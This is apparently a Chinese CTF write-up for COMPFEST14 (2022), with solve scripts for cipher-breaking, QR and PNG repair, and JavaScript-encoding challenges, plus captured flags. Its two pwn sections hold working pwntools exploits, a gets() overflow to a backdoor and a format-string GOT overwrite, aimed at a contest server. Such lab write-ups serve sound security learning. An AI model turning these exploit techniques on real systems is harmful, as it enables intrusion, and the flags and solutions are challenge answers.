• [compfest14 ctf 2022] 不知道哪国的网站,特别慢

    两个都不大会,晚上发现还有一个,这个打开就特别慢.作了两个就算了,心想反正48小时赛,明天再作,可回头一看早就结果是12小时的.而且题特别多

    crypto Why Is It So Traditional

    这个题将flag分成4段进行加密,4种不同的方法,不过基本都是基于字符的变化,可以直接爆破

    1. import math
    2. from Crypto.Util.number import bytes_to_long
    3.  
    4.  
    5. def cc_encrypt(plain: str):
    6.     cipher = ""
    7.     for i in range(len(plain)):
    8.         assert ord(plain[i]) < 128
    9.         if i == len(plain) - 1:
    10.             cipher += plain[i]
    11.         else:
    12.             cipher += chr((ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32)
    13.     return cipher
    14.  
    15. def bc_encrypt(plain: str):
    16.     file = open("lorem.txt", "r")
    17.     tmp = file.read()
    18.     file.close()
    19.     off = 0
    20.  
    21.     cipher = ""
    22.     for i in range(len(plain)):
    23.         chr = str(bin(ord(plain[i]) - 32))[2:].zfill(7)
    24.         assert len(chr) == 7
    25.         for j in chr:
    26.             while (not tmp[off].isalpha()):
    27.                 off += 1
    28.             if j == "1":
    29.                 cipher += tmp[off].capitalize()
    30.             else:
    31.                 cipher += tmp[off].lower()
    32.             off += 1
    33.     return cipher
    34.  
    35. def ct_encrypt(plain: str):
    36.     file = open("lorem.txt", "r")
    37.     key = file.read()[0:5].lower()
    38.     file.close()
    39.  
    40.     cipher = ""
    41.   
    42.     lst = list(plain)
    43.     key_srt = list(key)
    44.     key_srt.sort()
    45.  
    46.     col = len(key)
    47.     row = math.ceil(len(plain)/col)
    48.     lst = []
    49.  
    50.     for i in range(row):
    51.         tmp = []
    52.         for j in range(col):
    53.             if ((i*col) + j < len(plain)):
    54.                 tmp.append(plain[(i*col) + j])
    55.             else:
    56.                 tmp.append(" ")
    57.         lst.append(tmp)
    58.  
    59.     for i in range(col):
    60.         tmp = key.index(key_srt[i])
    61.         for j in range(row):
    62.             cipher += lst[j][tmp]
    63.         
    64.     return cipher
    65.  
    66. def vc_encrypt(plain: str):
    67.     file = open("lorem.txt", "r")
    68.     key = file.read()[0:5].lower()
    69.     file.close()
    70.     
    71.     cipher = ""
    72.     for i in range(len(plain)):
    73.         assert ord(plain[i]) < 128
    74.         cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
    75.  
    76.     return cipher
    77.  
    78.  
    79. def encrypt(plain: str):
    80.     cipher = ""
    81.     cipher += cc_encrypt(plain[0:20])
    82.     cipher += bc_encrypt(plain[20:40])
    83.     cipher += ct_encrypt(plain[40:60])
    84.     cipher += vc_encrypt(plain[60:])  
    85.     return bytes_to_long(bytes(cipher, encoding='utf-8'))
    86.  
    87. def main():
    88.     file = open("flag.txt", "r")
    89.     plain = file.read()
    90.     file.close()
    91.     tmp = encrypt(plain)
    92.     file = open("cipher.txt", "w")
    93.     file.write(str(tmp))
    94.     file.close()
    95.  
    96. if __name__ == "__main__":
    97.     main()
    98.

    第一段就是一个算式,直接爆破

    1. ct =9374862801672011569143243493759834651854302741137921000102578544699291979446566751887813872972999250801521524212936699063904227504628445093754152462009521424732471453466670760988265819686759158844634830024884931300588310718332652371519380668768298032642525239961724954547989762210827049115978504990027702198536284151220495702663215797420769364463234386365148116592181273640226624584351853789020390569953735058342276300916599420784350764118742731817689748155602460756332
    2.  
    3. from Crypto.Util.number import long_to_bytes
    4.  
    5. c = long_to_bytes(ct)
    6. print(len(c))
    7.  
    8. c1 = c[:20]
    9. p1 = [0]*20
    10. p1[19] = c[19]
    11. #(ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32
    12. for i in range(18,-1,-1):
    13.     for j in range(0x20,127):
    14.         if ((j+p1[i+1])-2*32)%94+32 == c1[i]:
    15.             p1[i] = j 
    16.             break 
    17.  
    18. print(bytes(p1))

    第二段是基于查表的,同样可以直接爆破

    1. c2 = c[20:20+20*7].decode()
    2. p2 = [0]*20
    3. tmp = open("lorem.txt", "r").read()
    4. off = 0
    5. for i in range(20):
    6.     for k in range(0x20,0x7f):
    7.         toff = off
    8.         chr = str(bin(k - 32))[2:].zfill(7)
    9.         cipher = ''
    10.         assert len(chr) == 7
    11.         for j in chr:
    12.             while (not tmp[toff].isalpha()):
    13.                 toff += 1
    14.             if j == "1":
    15.                 cipher += tmp[toff].capitalize()
    16.             else:
    17.                 cipher += tmp[toff].lower()
    18.             toff += 1
    19.         if cipher == c2[i*7: i*7+7]:
    20.             p2[i] = k
    21.             off = toff
    22.             break
    23.  
    24. print(bytes(p2))

    第三段是换顺序,直接用20个字母加密一次,再查表

    1. import math 
    2. def ct_encrypt(plain: str):
    3.     file = open("lorem.txt", "r")
    4.     key = file.read()[0:5].lower()
    5.     file.close()
    6.  
    7.     cipher = ""
    8.   
    9.     lst = list(plain)
    10.     key_srt = list(key)
    11.     key_srt.sort()
    12.  
    13.     col = len(key)
    14.     row = math.ceil(len(plain)/col)
    15.     lst = []
    16.  
    17.     for i in range(row):
    18.         tmp = []
    19.         for j in range(col):
    20.             if ((i*col) + j < len(plain)):
    21.                 tmp.append(plain[(i*col) + j])
    22.             else:
    23.                 tmp.append(" ")
    24.         lst.append(tmp)
    25.  
    26.     for i in range(col):
    27.         tmp = key.index(key_srt[i])
    28.         for j in range(row):
    29.             cipher += lst[j][tmp]
    30.         
    31.     return cipher
    32.  
    33. tmp = ct_encrypt('abcdefghijklmnopqrst')
    34. #print(tmp)
    35. t1 = 'abcdefghijklmnopqrst'
    36. t2 = 'dinsafkpejotbglqchmr'
    37. st3 = 20+20*7
    38. c3 = c[st3: st3+20]
    39. p3 = [0]*20
    40. for i in range(20):
    41.     p3[t1.index(t2[i])] = c3[i]
    42.  
    43. print(bytes(p3))

    第四段与第一段类似,可能出题人也整不出其它好的方法了,竟然重了

    1. st3+= 20
    2. c4 = c[st3: ]
    3. p4 = [0]*len(c4)
    4. key = b'lorem'
    5. #cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
    6. for i in range(len(c4)):
    7.     for j in range(0x20,0x7f):
    8.         if (j + key[i%5] -64)%94 + 32 == c4[i]:
    9.             p4[i] = j 
    10.             break
    11.  
    12. print(bytes(p4))
    13.  
    14. b'Great job! COMPFEST14{FiRSt_ST3p_0f_crYPYo_bUT_f4LLeN_t0_diSUS3_70abaaf44b}'

    scan_me

    前几天作过一个扫二维码的,已经弄好了程序,这个题前半半就直接搞定了.给了828个小二维码.扫出来是0xdh这样的,看上去就是一个字节但显示字母都不是16进制的,先用pyzbar扫出来放文件里

    1. from pyzbar import pyzbar
    2. from PIL import Image
    3.  
    4. text = ''
    5. for i in range(1,829):
    6.     fname = f"./qr/{i}.png"
    7.     val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
    8.     text+= val[0].data.decode()[2:]
    9.  
    10. open('aaa2.txt', 'w').write(text)
    11. print(text)

    后来慢慢想,提示是这样的,最后一句有个单词shift,那理解成平移,把这些符号重排了一下,发现前10个从"`_a"开始是10个连续的,后边是6个连续的,大概意思就是16进制的符号平移而来.

    1. Jack and his uncle loves solving puzzles. This morning, Jack's Uncle gave him a stack of card and said:
    3. "In order to solve this, don't scramble the card, scramble the egg"
    5. "Just kidding"
    7. "Bye, shift you latter"

    所以第二步就解出来了

    1.  
    2. cipher = b'ghd_ctcf_s_p_p_p_______schcgccda_____`ra_____`ra_`________dcebuctg_____`_bchccc`dcfghrtshrcsetpcb_`_gddu_scgqsbcbfrgd`rrhdfb_bbgcp`ua_`aarabg`stardrqeg`ec`aahcbcqehucepg`crbqhuapashdtprfddetabftaetbhu`ugag_cgh`aacdgp`cahdapccgh`aacdgpurcgrttesatf`stqq``pb_qf__te`efhqubscupfrggqh`_schharhegceqbecbtsegfffqfpqcghahrrtscahua`aecdqhf_ebccqdprdph_bg`usshs`sr_`u`ud_chsaaaucuptgeq`eqtgaqeqg`u`edfhq_cth`hfaarbtaguq`eqegbs__rcthr`bpcdbtbbqhghedbhfabdqcbgprastbssg_bghcusc___ub_hbpcddthcdrdbshhd_qq``qpscfcbcuprfbhtesseusgtuudetcauaar`pbcr_sg`c_fpa`cepesfpb_rruudbscdbththrbspgdh_u__u`ethtctabqudpguddftcgtcefdabs_q`_`ef___r__`_sus``cg_te`bhutq`urh_rgaahq_g`eqhugd`eaqdhrucshscpctbrdqca``q`aqhhbercb__rhtrgfcpdaqcbbpt_dagtfshqaa`h`cdpp_sa`hacffqchshbdh__schbeacuapbtcsgqcerurh_sfedhb_fpuhcagh`sqdpcsbeacqargaepfctftegcactg_qgpcpgqegsfcrpgfccutgqhrrs__fgchgespbccqpsqac_hphdserfdhbpcddtgbbrrebagudqsduqcrrgeb`udrdcsqgqurgahreubctq___tubrs`qefstfbfdqfhcgt`frfttcchsaapuc`etrtgfuragb`arpggfgpuhqddcuhhbtpbah`cfshtescahgabdhtdshfqabtsfeppptscdftchpt_egc_deeau_qb_fepq_`qbdhbd`uduhsppdbtcpdrghr_dfhaefseuube`fd`prrqub`_sg_erpes`htubfqgpbrhusruerqsaf`fcdpr``scusr_fqhbp_dpadgaebarqbepf_efasubttctteqthhfddhbha_sghsrchhhgddsgs_geupsa`qruhefebbfr`daaebsffb___t_sgcsuupudbtcqdrgcute`gcqsu`tfdpddgaeuadqqastfbrsrdhhqfdqt`u`rsupsbfdgpqr`gdhttqh_ac_hruabdthq`fbubt`g_sd`_tuqpaqasuaag`utpbafphbbd_ug_fgtf_redhrcgq`crtcffecehqfstusgppqudrhcqqs`qgfdhftcgtcufpcsuh_qeucqq`uth_`scpq`ugus_ahuaghrhcuttqh_a`ehhtegf`egqpubf`praqqs`bfcts_ahuadptcfeht`pc_tpeetrppfr__uqccchuhh_rghsecbu`cppgbahpqr_rs_edbctfsgecth`aacdgp`cahdapccgh`aacdgp`cdhtdauc_uft_qga_dcprgf________chcdctccptcae_ga'
    3.  
    4. a = b'_`abcdefghpqrstu'
    5. b = b'0123456789abcdef'
    6. #按照提示shift \x89PNG
    7. trantab = bytes.maketrans(c, b)
    8. d = cipher.translate(trantab)
    9. open('ccc.png', 'wb').write(bytes.fromhex(d.decode()))

    然后生成的是一个png图,打不开,用010打开看头有问题1a0a这里是0a0a,改过来出现一部分,然后再改数据区的长度,从103改为303就得到最后的二维码了,再扫一下即可.

    1. from pyzbar import pyzbar
    2. from PIL import Image
    3.  
    4. #手工修改被破坏的头 0A->1A 数据块长度103->303
    5.  
    6. val = pyzbar.decode(Image.open('ccc.png'), symbols=[pyzbar.ZBarSymbol.QRCODE])
    7. text= val[0].data.decode()
    8.  
    9. print(text)
    10. #在结果前加CO补全flag头
    11. #COMPFEST14{Th1s_1S_Th3_c0rrr3ct_Sc4n_M3_Fl4g_5425470cc0}

    pwn Smart Identifier

    第一个pwn题白送

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   char s[80]; // [rsp+0h] [rbp-50h] BYREF
    4.  
    5.   setvbuf(_bss_start, 0LL, 2, 0LL);
    6.   puts("Tell me about yourself");
    7.   gets();
    8.   if ( strlen(s) > 0x40 )
    9.   {
    10.     puts("You talk too much");
    11.     exit(0);
    12.   }
    13.   puts("Who are you");
    14.   return 0;
    15. }

    就一句话,gets直接溢出,还有后门.这就不用本地测了,直接远程

    1. from pwn import *
    2.  
    3. p = remote('13.212.50.63',11111)
    4.  
    5. context.log_level = 'debug'
    6. p.sendlineafter(b'Tell me about yourself', b'\x00'*0x58+ p64(0x4011d6)*2)
    7.  
    8. p.recvline()
    9. p.recvline()
    10. p.recvline()

    pwn Mail

    第二个题,这种第一次见,不过难度不大,程序可以写信息和输出,输出的时候用的无格式参的printf

    但这个都是在一个libmail.so里,这种第一次见,不过跟libc道理一样在主程序里的got表会有这个程序的函数地址

    1. unsigned __int64 __fastcall sendMail(__int64 a1)
    2. {
    3.   int v2; // [rsp+14h] [rbp-Ch] BYREF
    4.   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    5.  
    6.   v3 = __readfsqword(0x28u);
    7.   puts("\nThis app can only send a mail three days to the past maximum.");
    8.   puts("How many days into the past do you want to send this mail?");
    9.   printf("> ");
    10.   __isoc99_scanf("%d%*c", &v2);
    11.   if ( v2 <= 3 )
    12.   {
    13.     if ( v2 >= 0 )
    14.     {
    15.       puts("Enter your mail content");
    16.       printf("> ");
    17.       read(0, (void *)(8 * (3 - v2) + a1), 8uLL);
    18.     }
    19.     else
    20.     {
    21.       puts("You can't send a mail into the future");
    22.     }
    23.   }
    24.   else
    25.   {
    26.     puts("What did i just say :/");
    27.   }
    28.   return __readfsqword(0x28u) ^ v3;
    29. }
    30. unsigned __int64 __fastcall readMail(__int64 a1)
    31. {
    32.   int v2; // [rsp+14h] [rbp-Ch] BYREF
    33.   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    34.  
    35.   v3 = __readfsqword(0x28u);
    36.   puts("\nThis app can only read a mail three days to the past maximum.");
    37.   puts("which mail do you want to read? (input how many days into the past)");
    38.   printf("> ");
    39.   __isoc99_scanf("%d%*c", &v2);
    40.   if ( v2 <= 3 )
    41.   {
    42.     if ( v2 >= 0 )
    43.       printf((const char *)(8 * (3 - v2) + a1));// printf
    44.     else
    45.       puts("Are you trying to read a mail from the future?");
    46.   }
    47.   else
    48.   {
    49.     puts("Can't read that mail anymore :(");
    50.   }
    51.   return __readfsqword(0x28u) ^ v3;
    52. }

    所以这个思路也比较简单,先用printf漏洞得到函数库的加载地址,然后把函数库里的后门写到exit的got表里

    不过在这里浪费了不少时间,太晚了睡觉不弄了.网站特别慢,运行会报超时或直接中断

    1. from pwn import *
    2.  
    3. p = remote('13.212.50.63',11002)
    4. #p = process('./p2')
    5. context.log_level = 'debug'
    6.  
    7. elf = ELF('./p2')
    8. libc_elf = ELF('./libc-2.27.so')
    9. libmail_elf = ELF('./libtcmail.so')
    10.  
    11. one = [0x4f2a5, 0x4f302, 0x10a2fc]
    12. '''
    13. 0000| 0x7fffffffdef0 --> 0x0                                 <---------6
    14. 0008| 0x7fffffffdef8 --> 0x7fffffffdf20 --> 0x0 
    15. 0016| 0x7fffffffdf00 --> 0x0 
    16. 0024| 0x7fffffffdf08 --> 0x8a9f02f8499d1900 
    17. 0032| 0x7fffffffdf10 --> 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>:        endbr64)   <--10
    18. 0040| 0x7fffffffdf18 --> 0x401306 (:   cmp    DWORD PTR [rbp-0x4],0x3)   <-----11
    19. 0048| 0x7fffffffdf20 --> 0x0                                <----------12  #3
    20. 0056| 0x7fffffffdf28 --> 0x0 
    21. 0064| 0x7fffffffdf30 --> 0x0 
    22. 0072| 0x7fffffffdf38 ("%6$p%7$p0\340\377\377\377\177")      <----------15
    23. 0080| 0x7fffffffdf40 --> 0x7fffffffe030 --> 0x1 
    24. 0088| 0x7fffffffdf48 --> 0x200000000 
    25. 0096| 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>:   endbr64)
    26. 0104| 0x7fffffffdf58 --> 0x7ffff7821c87 (<__libc_start_main+231>:       mov    edi,eax)   <------19
    27. '''
    28.  
    29. def save(idx, msg):
    30.     p.sendlineafter(b'> ', b'1')
    31.     p.sendlineafter(b'> ', str(idx).encode())
    32.     p.sendafter(b'> ', msg)
    33.  
    34. def run(idx):
    35.     p.sendlineafter(b'> ', b'2')
    36.     p.sendlineafter(b'> ', str(idx).encode())
    37.  
    38. save(3, p64(elf.got['sendMail']))
    39. save(0, b'%12$s,')
    40. run(0)
    41. libmail_base = u64(p.recv(6).ljust(8, b'\x00')) - libmail_elf.sym['sendMail']
    42. libmail_elf.address = libmail_base
    43. print('mail:', hex(libmail_base))
    44.  
    45. #got.exit -> win
    46. win = p64(libmail_elf.sym['win'])
    47. #win = p64(libc_base + one[2])
    48. for i in range(6):
    49.     save(3, p64(elf.got['exit'] + i))
    50.     pay = f"%{win[i]}c%12$hhn".encode()
    51.     save(2, pay[:8])
    52.     save(1, pay[8:])
    53.     run(2)
    54.  
    55. p.sendlineafter(b'> ', b'3')
    56. p.recvline()
    57. p.recvline()
    58.  
    59. p.interactive()

    rev baby JaSon adler

    不知道是个啥语言，看上去就是js ，加密就4句

    enc=[];holder1=[];holder2=[];fl4g.split("").map((x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1:holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))});holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});enc=holder1.concat(holder2);enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});enc=enc.join("")

    正理一下就4句

    1. fl4g.split("").map(	(x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1: holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))	});
    2. holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});
    3. enc=holder1.concat(holder2);
    4. enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});

     这里用到的map显然x是值y是索引，后边三元运算符相当于if else 也就没别的了，第一句是把flag后一个加上前一个（第1个加1），

    第二是从这个结果再生成一个然后加在后边，显然有前边后边没用

    最后输出，看到密文有点麻烦给整成utf8了

    直接先转过来成数字，再作个简单的减法，那个取模也没用，太大了

    1. def utf8_u16(s):
    2.     i = 0
    3.     t = []
    4.     while i<len(s):
    5.         if s[i]>>7 == 0:
    6.             t.append(s[i])
    7.             i+=1
    8.         elif s[i]>>5 == 6:
    9.             t.append(((s[i]&0x1f)<<6) | (s[i+1]&0x3f))
    10.             i+=2
    11.         else:
    12.             t.append(((s[i]&0xf)<<12)|((s[i+1]&0x3f)<<6)|(s[i+2]&0x3f))
    13.             i+=3
    14.     return t 
    15.     
    16. cipher = open('enc_out.txt','rb').read()
    17.  
    18. c = utf8_u16(cipher) #utf8转整
    19. print(len(c),c) #118
    20.  
    21. holder1 = c[:59]
    22. holder2 = c[59:]
    23.  
    24. for i in range(58,0,-1):
    25.     holder1[i] = (holder1[i]-holder1[i-1])%(2**9<<16)
    26. holder1[0]-=1
    27. print(bytes(holder1))
    28. #COMPFEST14{4dler_ch3ccs0me_1s_f4s7er_7h4n_cRC!!_0240f11cc5}

    后边题有时间再作,先存存.

  • 相关阅读:
    mysql8.0 服务器和服务器启动程序 客户端程序
    jQuery_显式迭代each()
    AI “开”的诈骗律所被程序员识破了
    企业级自定义表单引擎解决方案（十二）--体验代码目录结构
    CSS 纵横比属性：aspect-ratio
    关于Android Framework渲染机制，你需要学习哪些？
    Dubbo源码理解
    Python——第6章 Numpy库的使用
    九、kotlin的泛型
    【算法与数据结构】JavaScript实现十大排序算法（一）
  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/127855180